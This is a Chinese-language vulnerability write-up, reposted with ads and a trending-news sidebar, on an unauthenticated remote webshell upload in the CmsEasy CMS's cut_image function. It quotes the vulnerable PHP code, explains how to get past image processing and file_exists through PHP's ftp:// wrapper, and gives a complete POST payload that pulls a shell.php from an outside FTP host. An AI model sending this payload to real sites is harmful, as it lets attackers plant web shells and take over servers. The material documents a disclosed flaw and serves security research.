CmsEasy 前台无限制getshell
发布时间:2016-09-29
公开时间:N/A
漏洞类型:getshell
危害等级:高
漏洞编号:QTVA-2016-540503
测试版本:20160825
5.0.0以上 就支持file_exists()了
接下来就是根据要求构造payload
互联网随便找了个站
作者:索马里的乌贼
链接:https://www.jianshu.com/p/fac379dcbd1e
漏洞详情
lib/default/tool_act.php 行392function cut_image_action() {
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
$thumb=new thumb();
$thumb->set(front::$post['thumb'],'jpg');
$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'] -$_POST['y1']);
$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
$save_file='upload/images/'.date('Ym').'/'.$new_name;
@mkdir(dirname(ROOT.'/'.$save_file));
ob_start();
$thumb->out_image($img,null,85);
file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
ob_end_clean();
$image_url=config::get('base_url').'/'.$save_file;
//$res['size']=ceil(strlen($img) / 1024);
$res['code']="
//$('#cut_preview').attr('src','$image_url');
$('#thumb').val('$image_url');
alert(lang('save_success'));
";
echo json::encode($res);
}
没有判断pic的后缀就直接取了
$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
做为文件名字 导致getshell
此处的坑是
- 需要过ImageCreateFromxxx、ImageCopyResampled、ImageJpeg 3个函数 任然保留shell语句
- 需要通过file_exists函数的验证
自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。查了下各种封装协议wrappers发现了 ftp:// 支持 stat();
| Attribute | PHP4 | PHP5 |
|---|---|---|
| Supports stat() | No | As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only. |
| --- | --- | As of PHP 5.1.0: filemtime(). |
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
如果站点不是放在根目录 则需要在payload前面补足 strlen(base_url)+2 位的长度 如果在根目录也要补1位
POST /index.php?case=tool&act=cut_image
pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
本地测试截图

image

image
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 立德少年时 树人天地间 7904252
- 2 飞机凌晨在兰州上空盘旋 轰鸣数小时 7809474
- 3 卖国弃民!高市早苗国会现场遭痛斥 7713139
- 4 中国继续成为全球增长的重要引擎 7618853
- 5 人民币再次升值 7523168
- 6 吴秀波被执行6200万 7427942
- 7 被指“做假账几十亿” 周鸿祎回应 7329177
- 8 商场被指吓人悬空大衣已撤下 7235130
- 9 受贿1.11亿余元 齐同生被判死缓 7137131
- 10 海南自贸港18日正式启动全岛封关 7039612

![林亦梦:立夏啦[太阳]](https://imgs.knowsafe.com:8087/img/aideep/2021/7/14/63489a5b1d758f58895c80de50a14b49.jpg?w=250)





HackerEye
